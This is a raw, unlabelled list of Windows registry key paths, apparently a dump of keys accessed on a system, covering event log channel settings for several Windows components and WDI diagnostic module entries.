HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\FileMax HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\FileCounter HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\BufferSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\MinBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\MaxBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\Latency HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\ClockType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\SidType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\Level HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\ControlGuid HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\MaxSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\MaxSizeUpper HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\Retention HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\AutoBackupLogFiles HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\File HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\FilterId HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\Isolation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\OwningPublisher HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-NetworkAccessProtection/WHC\ChannelAccess HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\eventlog\Microsoft-Windows-Windows Defender/WHC HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\Type HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\Enabled HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\FileMax HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\FileCounter HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\BufferSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\MinBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\MaxBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\Latency HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\ClockType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\SidType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\Level HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\ControlGuid HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\MaxSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\MaxSizeUpper HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\Retention HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\AutoBackupLogFiles HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\File HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\FilterId HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\Isolation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\OwningPublisher HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC\ChannelAccess HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\eventlog\Microsoft-Windows-Diagnosis-Scheduled/Operational HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\Type HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\Enabled HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\FileMax HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\FileCounter HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\BufferSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\MinBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\MaxBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\Latency HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\ClockType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\SidType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\Level HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\ControlGuid HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\MaxSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\MaxSizeUpper HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\Retention HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\AutoBackupLogFiles HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\File HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\FilterId HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\Isolation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\OwningPublisher HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Diagnosis-Scheduled/Operational\ChannelAccess HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\eventlog\System\Application Popup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\eventlog\System\Application Popup\ProviderGuid HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\eventlog\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\Type HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\Enabled HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\FileMax HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\FileCounter HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\BufferSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\MinBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\MaxBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\Latency HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\ClockType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\SidType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\Level HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\ControlGuid HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\MaxSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\MaxSizeUpper HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\Retention HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\AutoBackupLogFiles HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\File HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\FilterId HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\Isolation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\OwningPublisher HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Resource-Exhaustion-Resolver/Operational\ChannelAccess HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\eventlog\Microsoft-Windows-ReliabilityAnalysisComponent/Operational HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\Type HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\Enabled HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\FileMax HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\FileCounter HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\BufferSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\MinBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\MaxBuffers HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\Latency HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\ClockType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\SidType HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\Level HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\ControlGuid HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\MaxSize HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\MaxSizeUpper HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\Retention HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\AutoBackupLogFiles HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\File HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\FilterId HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\Isolation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\OwningPublisher HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ReliabilityAnalysisComponent/Operational\ChannelAccess HKEY_CURRENT_USER\Software\Classes\AppID\taskhost.exe HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\WDI\DiagnosticModules HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{15fba3b8-a37a-4f91-bdba-fbb98fe804bf} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{15fba3b8-a37a-4f91-bdba-fbb98fe804bf}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{15fba3b8-a37a-4f91-bdba-fbb98fe804bf}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{15fba3b8-a37a-4f91-bdba-fbb98fe804bf}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{282396b2-6c46-4d66-b413-70b0445df33c} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{282396b2-6c46-4d66-b413-70b0445df33c}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{282396b2-6c46-4d66-b413-70b0445df33c}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{282396b2-6c46-4d66-b413-70b0445df33c}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{284ddb2f-beea-4c9d-91e8-e3670ed91517} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{284ddb2f-beea-4c9d-91e8-e3670ed91517}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{284ddb2f-beea-4c9d-91e8-e3670ed91517}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{284ddb2f-beea-4c9d-91e8-e3670ed91517}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{3EA6B3DF-393E-41C3-9885-29EC5A701926} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{3EA6B3DF-393E-41C3-9885-29EC5A701926}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{3EA6B3DF-393E-41C3-9885-29EC5A701926}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{3EA6B3DF-393E-41C3-9885-29EC5A701926}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{45DE1EA9-10BC-4f96-9B21-4B6B83DBF476} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{45DE1EA9-10BC-4f96-9B21-4B6B83DBF476}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{45DE1EA9-10BC-4f96-9B21-4B6B83DBF476}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{45DE1EA9-10BC-4f96-9B21-4B6B83DBF476}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{4d21da64-fd02-4b82-a0a5-783266e430ab} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{4d21da64-fd02-4b82-a0a5-783266e430ab}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{4d21da64-fd02-4b82-a0a5-783266e430ab}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{4d21da64-fd02-4b82-a0a5-783266e430ab}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{50e3b0eb-5780-49de-9eb5-8d53a51fd146} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{50e3b0eb-5780-49de-9eb5-8d53a51fd146}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{50e3b0eb-5780-49de-9eb5-8d53a51fd146}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{50e3b0eb-5780-49de-9eb5-8d53a51fd146}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5C85A128-86F7-41a4-B655-BEE3F2ADEF46} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5C85A128-86F7-41a4-B655-BEE3F2ADEF46}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5C85A128-86F7-41a4-B655-BEE3F2ADEF46}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5C85A128-86F7-41a4-B655-BEE3F2ADEF46}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5EE64AFB-398D-4edb-AF71-3B830219ABF7} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5EE64AFB-398D-4edb-AF71-3B830219ABF7}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5EE64AFB-398D-4edb-AF71-3B830219ABF7}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{5EE64AFB-398D-4edb-AF71-3B830219ABF7}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{63e0d0f7-ac2f-493b-a7f2-2f3ccdb66fca} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{63e0d0f7-ac2f-493b-a7f2-2f3ccdb66fca}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{63e0d0f7-ac2f-493b-a7f2-2f3ccdb66fca}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{63e0d0f7-ac2f-493b-a7f2-2f3ccdb66fca}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{67f1ec80-6c5b-43bb-860b-d47ae85242b1} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{67f1ec80-6c5b-43bb-860b-d47ae85242b1}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{67f1ec80-6c5b-43bb-860b-d47ae85242b1}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{67f1ec80-6c5b-43bb-860b-d47ae85242b1}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{72dbb5ac-6a91-46e6-885b-d429828bea2e} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{72dbb5ac-6a91-46e6-885b-d429828bea2e}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{72dbb5ac-6a91-46e6-885b-d429828bea2e}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{72dbb5ac-6a91-46e6-885b-d429828bea2e}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{7a54f16f-a73a-4258-ba46-a1e998a6aa74} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{7a54f16f-a73a-4258-ba46-a1e998a6aa74}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{7a54f16f-a73a-4258-ba46-a1e998a6aa74}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{7a54f16f-a73a-4258-ba46-a1e998a6aa74}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{85e0acd9-809a-482b-b60b-bcad1f8d0cd7} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{85e0acd9-809a-482b-b60b-bcad1f8d0cd7}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{85e0acd9-809a-482b-b60b-bcad1f8d0cd7}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{85e0acd9-809a-482b-b60b-bcad1f8d0cd7}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{88d4896f-f553-446a-9c75-9dec124ff8b7} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{88d4896f-f553-446a-9c75-9dec124ff8b7}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{88d4896f-f553-446a-9c75-9dec124ff8b7}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{88d4896f-f553-446a-9c75-9dec124ff8b7}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8CC29128-0B57-4a2b-A7B9-A74A70BA6FA1} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8CC29128-0B57-4a2b-A7B9-A74A70BA6FA1}\ImagePath HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8CC29128-0B57-4a2b-A7B9-A74A70BA6FA1}\NeverLowerPagePriority HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8CC29128-0B57-4a2b-A7B9-A74A70BA6FA1}\NameResource HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8d39bd5b-81f8-4b94-a608-6a50bbff5d15} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\WDI\DiagnosticModules\{8d39bd5b-81f8-4b94-a608-6a50bbff5d15}\ImagePath 